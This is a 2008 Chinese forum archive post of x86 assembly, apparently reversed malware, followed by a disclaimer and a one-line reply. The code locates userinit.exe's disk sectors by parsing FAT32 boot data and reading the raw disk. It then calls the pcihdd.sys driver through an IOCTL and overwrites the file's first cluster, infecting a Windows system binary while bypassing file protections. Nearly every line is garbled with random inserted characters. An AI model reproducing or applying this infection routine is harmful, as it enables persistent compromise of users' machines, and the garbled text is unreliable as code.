  call  SetFilePointer   ;定位到硬盘C盘起始扇区的绝对位置
:EK ~8CX.n:vh:V.M   
#WR9N6R{ gG&F~   push  0    ; lpOverlappedqiEhBP%^
  lea  eax, DistanceToMoveHigh
4D-qq,o}:J#v   push  eax    ; lpNumberOfBytesReadZ8s~\)t2h9~
  push  200h    ; nNumberOfBytesToRead:j l5a3p.|^
  lea  eax, PhysicalBuff(}i+{)_wJ |
  push  eax    ; lpBuffer2tu-m)ON;Nf,\(e {$k4r~
  push  hFile  ; hFile
SM,at&L%T   call  ReadFile        ;读硬盘C盘起始扇区 即:第一个分区的引导扇区BPBi"I'CN"n^'|;@HB
  -M5M[T#^m$v+fp
  lea  edi, PhysicalBuffE,\"P/Byspf
  movzx  eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇区数量 Jo}Q$[c(j
  add  StartSectorC, eax-] \-yw I:Ei#I1d0f
  cmp  ebx, 0Bh               ;Win95 FAT32 2o k| H|4t1b2N
  jz  WIN95FAT32 P6h0?O L@}qe
  cmp  ebx, 0Ch               ;Win95 FAT32 LBA
ZHW(srL:C   jnz  short FAT32LBA
h*[Z9B.^ ]5` _!S n    ZM ^-CH_
WIN95FAT32:
,Dja Y:?m3p   movzx  ecx, byte ptr [edi+10h]; BPB_NumFATS = 每个分区占用的FAT表 数
"JRw)J6_l-EI   mov  eax, [edi+24h]         ; BPB_FATSz32 = 每个FAT占用扇区数.oS skPZg&q0k
  xor  edx, edx$rB?1UEM_-Z
  imul  eax, ecx
2W5Vl X b9V*JS zd!@J   add  StartSectorC, eax      ;数据记录起始扇区
B V)~6FS:\&W?,Z,]:pa   zd [$j6u!dE'B
FAT32LBA:
9\_Y%p|6JJ7d   mov  eax, dwLowPartofLcn&NA.e I-u7c3J!PAw n
  mov  edx, dwHighPartofLcn/yK&dw:Dm7d
  movzx  ecx, byte ptr [edi+0Dh]   ;BPB_SecPerClus =  每簇多少扇区x8TO5d\f!n d"k
  mov  nNumberOfBytesToWrite, ecx
5D\]+k5V/jy   imul  eax, ecxS [+f5FL\&_
  add  eax, StartSectorC*|.G-e4bV-E
  adc  edx, 05n(vV5@!bS~ T1r
  imul  eax, 200h             ;求出绝对偏移字节位置`/[5I)GfK b
  mov  HighOffset, edx       ;偏移高32位f(@]{8W*s
  mov  lDistanceToMove, eax  ;低32位
aq+}j#Rh   \3T&v^TP6}lO
  push  0    ; dwMoveMethod,aS,U@G ?T
  lea  eax, HighOffset%G(Ic2E!h? G&h
  push  eax    ; lpDistanceToMoveHigh!b XD"B6B z z
  push  lDistanceToMove ; lDistanceToMove
/DwE9Z7J   push  hFile          ; hFiled&s1H"^"e;A
  call  SetFilePointer
sKJH:Z q#X ~-g   
#|8V3B"o#Kb   push  0    ; lpOverlapped
"P*`'I3`8b$G(k   lea  eax, DistanceToMoveHigh
-?%J)A dJ   push  eax    ; lpNumberOfBytesRead,`c'F7OwW0SJ [8r
  push  200h    ; nNumberOfBytesToRead
UV3B6@5_D~ ["V   lea  eax, PhysicalBuff
y yH9\'Xt$i   push  eax    ; lpBuffer m^!?}2[-m$b8S
  push  hFile    ; hFile7s8r RYL f
  call  ReadFile        ;在找到的硬盘扇区读 E&H0v4RYw2P6|"w
  Ee*~]1W2j8l qf+vm
  lea  edi, PhysicalBuff
"\0F6F*e9or6w5_   lea  esi, Buffer
/Lra(Tip   mov  ecx, 200hF Hj4b sE
  repe cmpsb              ;通过对比ReadFile读取的文件数据和自己定位后直接读取所得到的文件数据,确定定位是否正确
IE7_+v0Cw {i{8K   
6M2y3j/C9{Q%lm   or  ecx, ecx
$mZ9n9_b b {5O   jnz  DIFF           
&^h"oh'C \)?0E[7Z   q4V+\m)u
  push  0    ; dwMoveMethod.A/Bc P+mv
  lea  eax, HighOffset
Uz L\&\t2Go:d   push  eax    ; lpDistanceToMoveHighz'p#V!YF"f`2p
  push  lDistanceToMove ; lDistanceToMove
,_ x'];D __   push  hFile  ; hFile
5n:L{0HOC3Q   call  SetFilePointer  ;重新定位到上面找到的硬盘扇区处
Dx~ M4O}Zb   vW.BsS"y
  mov  eax, nNumberOfBytesToWrite
Q,`x&Lx   shl  eax, 9                      ;这个值是作者估算的/La8kS3A
  mov  nNumberOfBytesToWrite, eax
2ZNK ^-u*|#|@'OrN   7hd#Yl&u*K"H!k p P.g
  push  nNumberOfBytesToWrite ; dwBytes\5z V r!{G(shW
  push  40h          ; uFlags
?-~U1YF   call  GlobalAlloc
;~:JmK{#Ke"h   or  eax, eax
D eq X0tYW,B   jz  ALLOCMEMORYFAILED
-ow8Pv;`F(a   mov  lpBuffer,eax
o n%{9E;Y   !IT&u/uf
  mov  ecx, offset MessageBoxA
9LhJsP}GOG   sub  ecx, offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"d,Q+zE5wCPse
  
.Vj#F'MV         ;把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,(s+dG!M0SR"b
  push  0    ; lpOverlappedj9P7na}
  lea  eax, DistanceToMoveHigh
c-m SeQ   push  eax    ; lpBytesReturned r~^'Bsq6bUT}
  push  nNumberOfBytesToWrite ; nOutBufferSize
3fJ1rv0^;Q6Y-Q   push  lpBuffer  ; lpOutBuffer Wjy*C4|X3f}
  push  ecx    ; nInBufferSize
u NAWC&@%X   push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
8am` Mo4L&E   push  0F0003C04h  ; dwIoControlCodeA+W|$X!\]m x
  push  hDevice    ; hDevice,P'x'jIR
  call  DeviceIoControl
#V/pp2U H~Vn!B   0g:\k0[ p9C6c2G
  ;并将pcihdd返回的数据直接写入userinit.exe的第一簇
y `r[db.ovN~   push  0    ; lpOverlapped0G:Pwo{(aUP
  lea  eax, DistanceToMoveHigh
t$~:tUvNr ru   push  eax    ; lpNumberOfBytesWrittenqya!wsZ(c
  push  nNumberOfBytesToWrite ; nNumberOfBytesToWrite
8U V(F/Fe0j}+Bp   push  lpBuffer  ; lpBufferHx:c'}5KKY
  push  hFile    ; hFile A7L iN#yG&q:tG*r
  call  WriteFile
.Cy+XW4_)m:g*L   
9a0Pci-un   push  hFile  ; hFile5W2^$dB;t+vEOco D
  call  FlushFileBuffers
H7L"q2V-b i   mov  dwRet, 09Y2?"p/KSz[
  jmp  OVER
g]b?;C ]n-`w   
Pnv F(B? ALLOCMEMORYFAILED:&f4D}2j\
    ; "分配内存不成功"
W(_ [q-n~i   mov  dwRet, offset aFCJT XO HMF feJq
   F#QnWYV!`;]*Y
OVER:      ; hMem
p,`$e4Z%t:u]5T\R6v   push  lpBuffergwK-q Y
  call  GlobalFree
l!Su,a'V!p|2m:D3s,r   jmp  FINISHED[P,X)P&tF\
  0Vf.Q qN?
DIFF:
*e k+v-w+YVn`   mov  dwRet, offset ERR1
j xp0bs@o p9w   jmp  FINISHEDL sC6N T4bdF
  
q)P-L|;M)D0{4T R NTFS:
2Qtmxay[2K4L   mov  dwRet, offset ERR2
|&pY"g1oDo   jmp  FINISHED
4J+{0g%M0bx#K   P!ZX c;W/Y
NOTACTIVEDISK:  N\_;_ hW,f:\
  mov  dwRet, offset ERR3
}V%\.FH6rF,d   ?P0M$tj1I-X4~
FINISHED:    ; hObject
~[&cl0b O3w\wBq   push  hFile-}1f ~ By~+x PF
  call  CloseHandlew5e|k%YhrJK!y
  jmp  OPENPHYSICSFAILED&p\v1h?
  "~mC3O8E`4D
FEIHUA:
y?6V'c'j ]   mov  dwRet, offset ERR4
RC2]]g~&W   7|iV0e!O3l"I#Z.`3]
OPENPHYSICSFAILED: ;打开硬盘设备失败
0Xq0o%si   jmp  ExtentCountIsZero
UQ2|bQ$ix s)o   
Dr"m7Z X] DeviceIoControlFailed:
1AE7hwer   mov  dwRet, offset ERR5!p'A&C9\b\
  
|r6VRx@NP1n ExtentCountIsZero: W&rI'npr6wm/^.\
  cmp  hObject, 0Jn6P7X [yfV$i
  jz  ZeroObjectf2x;D,mz
  push  hObject  ; hObject@+F,R.M!H-l r
  call  CloseHandle
'a%@H/FQnZ   jmp  ZeroObject;Ozg!bTdK n U
  
r c;?&\ W3lX)c c-b CreateUserInitFileFailed:
r]C yw E&c,T   mov  dwRet, offset ERR64{2w5nzB7P&e:Z
  ;Gg$y8?m"]#Du
ZeroObject:    ; hObjectp2@Yq0o{2c
  push  hDevice
$o:xMy }   call  CloseHandle:c!m-r)LIx/Yp7i
  jmp  EXITuDi x h {p
  
MUHPZ0iS CreateFileFailed:5zs[ m)WZ
  mov  dwRet, offset ERR7b5K'f"]rg|T+[V-n
  
*uI msT L EXIT:`:Cc)@!y c$j]
  popa `Df~3N"xS
  mov  eax, dwRet
8r+mZ\ cU3^   ret   
CWr2B6R"J-F DoMyWork endp
P UxA of o.^ eZ Y k;j-p

!q1fqg MCu start proc
(z5V@b.Ou   push  0    ; lpModuleNameJ%h8yLZ
  call  GetModuleHandleA
9uEJ8`b)_B)|q:\   mov  hModule, eax k#`? Omy)ey{3w
  call  LoadServiceFromRes ;load service from resourced%w1\FyP7?wcB+\L
  :Ry{;Jx)k&\!w]
  push  100h    ; nSize
8p'U;b Evl   push  offset Dst  ; lpDst
.ci{y/q ue [   push  offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"4?bYss/[?q
  call  ExpandEnvironmentStringsA;aU4yvP
  
yb-B%R2i   push  offset Dst  ; lpFileName
Gs0Q+O d)l:d   call  DoMyWork
SjO!m-W-{   or  eax, eax
DD6i&b7BR9x;@   jnz  FAILED
;y"cqT2dv&Ex   push  offset OutputString ; W!BK#z%g$X"lUDxU
  call  OutputDebugStringA
D(^Z2SwM.Hj&h/g   jmp  Exit
O+c6VO#q d(^   
L$@%\ u9aT$R#aU FAILED:    ; lpOutputStringZ1RQ;?-~%{Sig
  push  eaxG%p;|gRULN
  call  OutputDebugStringA
*@xPx^c   1T(^nR&Do5k d
Exit: R5pwmb#P9],H9V
  call  QuitServiceH)t/L$b9cL)^
  push  0    ; uExitCode1c&ow)S-j$UmL_7a} M
  call  ExitProcessD_ U"cg R
start endp
3vFj3FUh
@+u%w^@ p9T[a end start
{7WWWF,H~T}
:ndBcn Z g-@;o-v 声明:
0[t@E%wJ ^ 本文的目的纯粹是一种技术交流,使用本文所演示的技术所造成的一切影响都与本人无关.ktA+G/dk#d
t7v:M6G\*Bz
更多精彩内容,关注网站:[url]http://edu.teamsourcing.com.cn[/url]

8727547 发表于 2008-3-28 09:50

全都是编程的东东,要晕死偶,唉,当赚点D币吧:)109:)

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.